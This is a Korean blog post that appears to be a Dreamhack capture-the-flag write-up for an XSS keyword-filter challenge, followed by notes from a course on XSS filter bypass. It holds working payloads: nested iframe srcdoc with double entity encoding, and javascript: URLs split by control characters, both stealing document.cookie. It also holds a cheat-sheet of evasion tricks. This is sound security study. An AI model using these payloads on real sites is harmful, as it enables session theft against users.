def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
- 주요 단어들을 필터링 중이다. 치환 및 삭제가 아니여서 더 까다롭다
'on', 'script', 'document', 'location', 'window' 등이 막혀있으므로
- 이벤트핸들러 방식은 사용하지 못한다
- 'location.href'를 사용하지 않고 src 속성 등을 이용해 바로 GET 요청을 보내려 했지만 document.cookie는 JS 문법으로 HTML 코드 상 사용 불가능하다
ex. <iframe srcdoc="<img src='/memo?memo='+parent['do'+'cument'].cookie>"> 시도했었음
- 따라서 location, document 필터를 우회하면서 location.href = 'memo?memo='+document. cookie 를 실행시켜야함
1. iframe srcdoc 사용
- srcdoc 속성을 통해 iframe 요소에 보일 HTML element 정의
- 하위 HTML 요소에서 parent['locatio'+'n'].href / parent['docu'+'ment'].cookie 등을 사용함으로써 필터 우회 가능성 확인, 실제로 테스트도 해봄
<iframe srcdoc="<img src=1 onerror=parent['lo'+'cation'].href='https://naver.com'>"></iframe>
// 실제로 naver.com 창으로 리다이렉션됨 - location 우회 가능
<iframe srcdoc="<iframe srcdoc='<&#x73;cript>&#x61;lert(parent[`do`+`cument`].cookie)</script>'></iframe>"></iframe>
// document.cookie 나 parent['document'].cookie나 동일함을 확인 - document 우회 가능
하지만 javascript 코드 실행시키기 위한 onerror, script 등의 단어들이 필터링되어있다...
HTML 인코딩 (a → a) 우회하려 해도 &# 필터링 걸림
- 드림핵 문제 댓글들 보다가 iframe srcdoc 중복선언 가능함을 확인
=> srcdoc 두 번 타고들어간다면 해석 과정에서 디코딩 두 번. HTML 이중 인코딩하면 &# 필터링 우회 가능하다!
=> s → s → &#x73; (HTML 엔티티)
<iframe srcdoc="<iframe srcdoc='<&#x73;cript>locati&#x6f;n.href=`memo?memo=`+&#x64;ocument.cookie</&#x73;cript>'></iframe>"></iframe>
// 문자열 3개 필요해서(srcdoc, srcdoc, href 주소) 백틱까지 사용했다
// script, location, on, document 필터링은 HTML 이중 인코딩으로 우회했다
◈ 주의할 점: URL 인코딩 과정에서 space는 %20이 아닌 +로 바뀜
폼에 그냥 입력해서 보냈는데 안되길래 버프수트로 잡아 request body를 확이해보니 아래와 같이 URL 인코딩되어 가더라
params = %3Ciframe+srcdoc%3D%22%3Ciframe+srcdoc%3D%27%3C%26amp%3B%23x73%3Bcript%3Elocati%26amp%3B%23x6f%3Bn.href%3D%60memo%3Fmemo%3D%60%2B%26amp%3B%23x64%3Bocument.cookie%3C%2F%26amp%3B%23x73%3Bcript%3E%27%3E%3C%2Fiframe%3E%22%3E%3C%2Fiframe%3E
디코딩하면
<iframe+srcdoc="<iframe+srcdoc='<&#x73;cript>locati&#x6f;n.href=`memo?memo=`+&#x64;ocument.cookie</&#x73;cript>'></iframe>"></iframe>
그래서 burp suite로 POST 요청 잡은 후 URL encoding된 값을 직접 넣어주었다 (+ → %20)
2. URL의 javascript 스키마 이용
브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화 (Normalization)을 이용해 우회
= \x01, \x04, \t와 같은 특수 문자들이 제거
<iframe src="javascr ipt: locatio n.href='memo?memo='+do cument.cookie">
이런 식으로 키워드 우회하면 된다
얘는 그냥 폼에 입력 후 전송하든, 버프수트로 잡아서 URL encoding된 값을 넣어주든 둘 다 되더라
HTML 엔티티
HTML 엔티티는 HTML에서 특정 캐릭터들이 예약되어있기 때문에 표기의 혼란을 막기 위해서 사용하는 것
흔히 공백을 로 쓰거나 <,>를 < > 로 쓰는 것이 대표적인 예시
  | | space | |
< | < | < | less than |
> | > | > | greater than |
& | & | & | ampersand |
' | ' | ' (IE에서 안됨) | apostrophe |
" | " | " | quotation mark |
‘ | ‘ | ‘ | left single quotation mark |
’ | ’ | ’ | right single quotation mark |
“ | “ | “ | left double quotation mark |
” | ” | ” | right double quotation mark |
XSS Filtering Bypass 강좌 기법 정리
이벤트 핸들러 속성 이용한 xss
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<img src="about:invalid" onerror="alert(document.domain)">
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
단순히 치환 혹은 제거하는 방식의 필터링 관습 우회
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 함
- HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있음
- URL을 속성 값으로 받는 a 태그나 iframe 태그 등에 사용할 수 있음
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
javascript: 스키마 필터링된 경우
- 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화 (Normalization)을 이용해 우회
= \x01, \x04, \t와 같은 특수 문자들이 제거되고, 스키마의 대소문자가 통일
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
javascript: 스키마나 이 외의 XSS 키워드를 인코딩하여 필터링을 우회
- HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용할 수 있음
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
정규표현식이 부실할때?
스크립트 태그의 src 속성을 이용한 검사 우회
<script src="data:alert(document.cookie)"></script>
줄바꿈 문자를 이용한 검사 우회
<img src=""\nonerror="alert(document.cookie)"/>
태그 필터링 우회
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
Unicode escape sequence를 통한 우회
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
XSS 공격 구문의 자바스크립트 키워드를 필터링한 경우
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수
=> window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기
window
=> self, this
eval(code)
=> Function(code)()
극단적인 사례로 자바스크립트의 언어적 특성을 활용하면 6개의 문자([, ], (, ), !, +)만으로 모든 동작을 수행할 수 있습니다. => JSFuck
문자열을 사용할 때 필요한 따옴표 (", ')가 필터링되어 있다면
= 템플릿 리터럴은 백틱 (`)을 이용해 선언할 수 있으며 내장된 ${} 표현식을 이용해 다른 변수나 식을 사용할 수 있음
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."
따옴표와 백틱을 모두 사용하지 못할 때
RegExp 객체(/ ~~~ /)를 이용한 모습
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
fromCharCode 함수를 사용한 모습
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
내장 함수 및 객체 문자를 이용한 모습
= history.toString() 은 "[object History]" 문자열을 반환하고
= URL.toString()은 "function URL() { [native code] }" 문자열을 반환
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
함수 호출 - 백틱 이용
alert`1`; // Tagged Templates
소괄호와 백틱 문자가 모두 필터링 되어있는 경우 함수 호출 어떻게?
javascript 스키마를 이용한 우회
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
document.body.innerHTML 이용해 문서 내에 새로운 HTML 코드를 추가
= innerHTML로 HTML 코드를 실행할 때에는 보안 상 <script> 태그를 삽입해도 실행되지 않음
= 이벤트 핸들러 이용
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
더블 디코딩 취약점
웹 방화벽의 검증 이후 다시 디코딩할 경우, 공격자는 더블 URL 인코딩으로 웹 방화벽 검증을 우회
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] CSP Bypass Advanced (0) | 2023.07.03 |
---|---|
[Dreamhack Wargame] CSP Bypass + CSP에 대해 (0) | 2023.07.03 |
[Dreamhack Wargame] blind-command + curl (0) | 2023.07.01 |
[Dreamhack Wargame] web-ssrf + SSRF에 대해 (0) | 2023.06.30 |
[Dreamhack Wargame] Image-storage + php 웹쉘 업로드 (0) | 2023.06.30 |